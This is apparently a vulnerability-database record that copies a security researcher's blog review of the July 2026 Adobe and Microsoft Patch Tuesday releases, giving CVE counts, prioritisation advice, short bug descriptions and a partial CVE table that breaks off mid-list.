patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:02:56.475332Z"}, {"uuid": "e58b595a-c95e-41d8-9742-6003317e8081", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54111", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  